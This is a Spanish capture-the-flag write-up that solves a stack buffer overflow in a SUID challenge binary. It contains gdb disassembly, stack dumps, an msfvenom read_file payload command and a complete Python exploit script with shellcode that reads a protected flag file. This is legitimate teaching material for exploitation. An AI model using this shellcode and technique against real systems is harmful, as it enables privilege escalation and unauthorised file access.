CTFCiberSeg17 - Solución Exploiting I

Published on:

Exploiting I

Enunciado

Bienvenido al reto 1 de exploiting.

El reto se encuentra en /retos/exploiting1 y la flag en /flags/flag1.
Si necesitas usar un directorio con permisos de escritura puedes usar
tu propia carpeta en /tmp. El comando mktemp -d es tu amigo.
A tu disposición tienes gdb y radare2, ademas de python, ruby y perl.
Por favor, no abuses del sistema. Máximo dos conexiones SSH por persona.
Si tienes dudas recuerda que está el grupo de Telegram y el correo.Bienvenido al reto 1 de exploiting.

Solución

El fichero donde está el flag no tiene permisos de lectura para el usuario 'exploiting1', pero si los tiene el usuario 'exploiting-win'. Además, el ejecutable "/retos/exploiting1" tiene el permiso SUID de "exploiting-win'. O sea, que lo puede ejecutar todo el mundo con sus derechos. Por lo tanto si tenemos el control de ese programa podremos leer el flag.
Ejecutando el programa ya podemos intuir que se va a tratar de un clásico buffer overflow

I have no name!@yuki:/tmp/tmp.7t5nus5kAJ$ /retos/exploiting1
name is at [0xffffd528]
ksdfjjdfkl
ksdfjjdfkl
I have no name!@yuki:/tmp/tmp.7t5nus5kAJ$

¡Y encima te ayudan dándote dónde esta la variable! En esta dirección(0xffffd528) es dónde colocaremos nuestro shellcode para que se ejecute.
Hay que aclarar que el binario no tiene ningún tipo de protección de pila, ni ASLR, nada de nada.

Calculamos el offset con "pattern_create.rb" y "pattern_offset.rb" de metasploit y nos da 212 bytes.

Analizando el ensamblador del programa nos encontramos con las funciones "main" y "hello"

(gdb) disas main
Dump of assembler code for function main:
   0x080484ab <+0>:     lea    ecx,[esp+0x4]
   0x080484af <+4>:     and    esp,0xfffffff0
   0x080484b2 <+7>:     push   DWORD PTR [ecx-0x4]
   0x080484b5 <+10>:    push   ebp
   0x080484b6 <+11>:    mov    ebp,esp
   0x080484b8 <+13>:    push   ecx
   0x080484b9 <+14>:    sub    esp,0x4
   0x080484bc <+17>:    call   0x80484cf <hello>
   0x080484c1 <+22>:    mov    eax,0x0
   0x080484c6 <+27>:    add    esp,0x4
   0x080484c9 <+30>:    pop    ecx
   0x080484ca <+31>:    pop    ebp
   0x080484cb <+32>:    lea    esp,[ecx-0x4]
   0x080484ce <+35>:    ret
End of assembler dump.

(gdb) disas hello
Dump of assembler code for function hello:
   0x080484cf <+0>:     push   ebp
   0x080484d0 <+1>:     mov    ebp,esp
   0x080484d2 <+3>:     sub    esp,0xd8
   0x080484d8 <+9>:     sub    esp,0x8
   0x080484db <+12>:    lea    eax,[ebp-0xd0]
   0x080484e1 <+18>:    push   eax
   0x080484e2 <+19>:    push   0x80485c0
   0x080484e7 <+24>:    call   0x8048350 <printf@plt>
   0x080484ec <+29>:    add    esp,0x10
   0x080484ef <+32>:    mov    eax,ds:0x8049820
   0x080484f4 <+37>:    sub    esp,0xc
   0x080484f7 <+40>:    push   eax
   0x080484f8 <+41>:    call   0x8048360 <fflush@plt>
   0x080484fd <+46>:    add    esp,0x10
   0x08048500 <+49>:    sub    esp,0xc
   0x08048503 <+52>:    lea    eax,[ebp-0xd0]
   0x08048509 <+58>:    push   eax
   0x0804850a <+59>:    call   0x8048370 <gets@plt>
   0x0804850f <+64>:    add    esp,0x10
   0x08048512 <+67>:    sub    esp,0xc
   0x08048515 <+70>:    lea    eax,[ebp-0xd0]
   0x0804851b <+76>:    push   eax
   0x0804851c <+77>:    call   0x8048380 <puts@plt>
   0x08048521 <+82>:    add    esp,0x10
   0x08048524 <+85>:    leave
   0x08048525 <+86>:    ret
End of assembler dump.

Como el programa "revienta" metiéndole 212 caracteres después de sobrescribir la dirección de retorno de "hello", ponemos un break en ret para ver la pila con nuestras 'A' sobrescribiendo la dirección de retorno.

(gdb) br *0x8048525
Note: breakpoint 1 also set at pc 0x8048525.
Breakpoint 2 at 0x8048525

0xffffd5fc:     0x41414118      0x41414141      0x41414141      0x41414141
0xffffd60c:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd61c:     0xFABADAFA      0xf7fd1300      0xffffd640      0x00000000
0xffffd62c:     0xf7e39637      0xf7fd1000      0xf7fd1000      0x00000000

En la dirección {0xffffd61c]=0xFABADAFA es donde vamos a apuntar al principio de nuestro shellcode. Que como ya hemos dicho más arriba es la dirección de la variable "name"(0xffffd528).

Por lo tanto, ya podemos hacer nuestro python para explotarlo: tenemos 212 bytes para meter nuestro shellcode, luego rellenarlo con "A" lo que sobre y los últimos cuatro caracteres serán la dirección de la pila donde empieza el shellcode.

Como queremos leer un archivo, metasploit tiene un payload dedicado para esto. También le he metido 16 NOP's para evitar problemas (el famoso tobogan) con el argumento -n 16

msfvenom -p linux/x86/read_file PATH=/flags/flag1 -n 16 -b '\x00\x20\x0d\x0a' -f python

Ya tenemos todo para construir nuestro cutre script:

#!/usr/bin/env python

buf =""

buf += "\xd6\x91\x43\x93\x2f\xfc\x43\xd6\x48\xd6\xd6\x37\x9f"
buf += "\xfc\x3f\x49\xbd\x15\xa0\x41\xf4\xda\xcf\xd9\x74\x24"
buf += "\xf4\x5a\x31\xc9\xb1\x13\x31\x6a\x14\x03\x6a\x14\x83"
buf += "\xea\xfc\xf7\x55\xaa\xc2\x4f\x90\x2d\x2b\xaf\xc0\x1c"
buf += "\xe2\x62\x76\xd7\x37\xc4\x74\xe8\xb7\x34\xf2\x0f\x3e"
buf += "\xcd\xbe\xd0\x51\x2d\xbf\x1d\xd1\xa4\x7d\x25\xd6\xb6"
buf += "\x81\x56\x6c\xb7\x81\x56\x92\x7a\x01\xee\x93\x84\x02"
buf += "\x0f\x2f\x84\x02\x0f\x4f\x49\x82\xe7\x8a\xae\x7c\x08"
buf += "\x3b\x36\xef\x96\x23\xc5\xc0\x3e\xc0\x48\x78\x8e\x18"

#offset 212
buf += "A" * (212 - len(buf))

#0xffffd528
buf += "\x28\xd5\xff\xff"

print buf

Aqui la pila con el payload: (con gdb donde empieza el payload cambia a 0xffffd548)

0xffffd53c:     0xf7fd52b8      0x00000000      0x00000000      0x90909090
0xffffd54c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd55c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd56c:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd57c:     0x90909090      0x90909090      0x90909090      0x934391d6
0xffffd58c:     0xd643fc2f      0x37d6d648      0x493ffc9f      0x41a015bd
0xffffd59c:     0xd9cfdaf4      0x5af42474      0x13b1c931      0x03146a31
0xffffd5ac:     0xea83146a      0xaa55f7fc      0x2d904fc2      0x1cc0af2b
0xffffd5bc:     0xd77662e2      0xe874c437      0x0ff234b7      0xd0becd3e
0xffffd5cc:     0x1dbf2d51      0x257da4d1      0x5681b6d6      0x5681b76c
0xffffd5dc:     0xee017a92      0x0f028493      0x0f02842f      0xe782494f
0xffffd5ec:     0x087cae8a      0x96ef363b      0x3ec0c523      0x8e7848c0
0xffffd5fc:     0x41414118      0x41414141      0x41414141      0x41414141
0xffffd60c:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd61c:     0xffffd548      0xf7fd1300      0xffffd640      0x00000000
0xffffd62c:     0xf7e39637      0xf7fd1000      0xf7fd1000      0x00000000

That's all friends!